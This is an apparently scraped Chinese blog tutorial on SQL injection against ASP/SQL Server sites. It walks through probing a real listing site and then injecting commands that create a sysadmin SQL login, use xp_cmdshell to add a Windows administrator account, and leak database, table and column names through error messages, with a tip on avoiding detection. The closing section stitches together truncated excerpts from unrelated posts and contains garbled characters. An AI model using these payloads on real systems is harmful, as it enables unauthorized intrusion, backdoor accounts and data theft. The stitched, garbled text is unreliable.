SQL注入 如何攻擊(一)

2021-07-05 17:41:15 字數 2383 閱讀 8970

在乙個供求資訊發布的**上測試了一下,頁面

我做了如下測試:(1) 』

microsoft ole db provider for odbc drivers 錯誤 '80040e14

[microsoft][odbc microsoft access driver] 字串的語法錯誤 

在查詢表示式 'id=49'' 中。 

/new.asp,行36

(2) and 1=1

(正常返回頁面)

(3) and 1=2

microsoft ole db provider for odbc drivers 錯誤 '800a0bcd'

bof 或 eof 中有乙個是「真」,或者當前的記錄已被刪除,所需的操作要求乙個當前的記錄。

/new.asp,行42

注:上面的測試已經可以看出有sql注入的機會,我們用下面乙個句子來判斷他資料庫型別和登陸身份。

and user>0

microsoft ole db provider for odbc drivers 錯誤 '800a0bcd' 

將nvarchar值 」dbo」 轉換資料型別為 int 的列時發生語法錯誤

/new.asp,行42

注:如果顯示「dbo」 轉換資料型別為 int 的列時發生語法錯誤 那麼就可以用我下面介紹的方法來獲得系統管理許可權,如果是「abc」 轉換資料型別為 int 的列時發生語法錯誤 那麼就用不能用我下面的介紹來獲得系統許可權了。

獲得以上資訊後,就可以提交以下url來一步一步的獲得sql管理員許可權和系統許可權了。

(1) ;exec 

aster.dbo.sp_addlogin fmzm;--

新增sql使用者

(2) ;exec master.dbo.sp_password null,fmzm,fmzm;--

設定sql帳號fmzm 的密碼為 fmzm

(3) ;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;--

提公升許可權:加fmzm進sysadmin管理組(有時候會不成功,就常識下面的句子

;exec master.dbo.sp_addsrvrolemember fmzm,sysadmin-- 為什麼會這樣,我也不清清楚,我就遇到了?栽 。。。)

(4) ;exec master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--

建立乙個系統用fmzm 並設定其密碼為fmzm

(注:/workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes 這些很關鍵,如果不加這些,你建立的使用者很有可能無法登陸,這些是啟用你的帳號,並且使密碼永不過期的一些相關設定。)

(5) ;exec master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';--

把帳號fmzm加入到管理員組

ok,到此為止,已經得到了sql管理許可權和系統許可權了,還有什麼不能做的呢?把上面的句子變個形 開個telnet,或者用sql聯結器去連線,隨便你怎麼整了,記得別暴露自己哦 :)目前有些好的ids已經開始監視xp_cmdshell這些關鍵字了.

附:(1) http://site/url.asp?id=1 ;;and db_name()>0

前面有個類似的例子and user>0,作用是獲取連線使用者名稱,db_name()是另乙個系統變數,返回的是連線的資料庫名。

(2) http://site/url.asp?id=1;backup database 資料庫名 to disk=』c:/inetpub/wwwroot/1.db』;--

sysobjects是sqlserver的系統表,儲存著所有的表名、檢視、約束及其它物件,xtype=』u』 and status>0,表示使用者建立的表名,上面的語句將第乙個表名取出,與0比較大小,讓報錯資訊把表名暴露出來。第

二、第三個表名怎麼獲取?還是可以

自己考慮下。

(4) http://site/url.asp?id=1 ;;and (select top 1 col_name(object_id(『表名』),1) from sysobjects)>0

從(3)拿到表名後,用object_id(『表名』)獲取表名對應的內部id,col_name(表名id,1)代表該錶的第1個欄位名,將1換成2,3,4...就可以逐個獲取所猜解表裡面的欄位名。

sql注入攻擊

使用者可以利用向php表單輸入的資料完成對mysql的注入攻擊。例如我的查詢是 insert table into xx values 使用者名稱 號碼 檔案 0 在使用者輸入時最後一位只能是0.使用者不需要輸入 這時使用者在號碼處輸入 10000 x.gif.1 雙連字元後加乙個空格是sql的注釋...

sql注入攻擊

簡單判斷是否有漏 www.abc.asp?id 1,www.abc.asp?id 1 and 1 1 kali 檢視所有的資料庫 sqlmap u www.abc.asp?id 1 dbs current user 是否有漏洞會有相應資訊 檢視所有的表 sqlmap u www.abc.asp?id...

jsp如何防範sql注入攻擊

上週給別人做了個 無意間發現自己的作品有很多漏洞,在短短的20秒就被自己用sql注入法給幹了。所以查了一點關於sql注入的資料,並且有點感悟,希望能與新手們分享一下。高手們見笑了!sql注入攻擊的總體思路 發現sql注入位置 判斷伺服器型別和後台資料庫型別 確定可執 況 對於有些攻擊者而言,一般會採...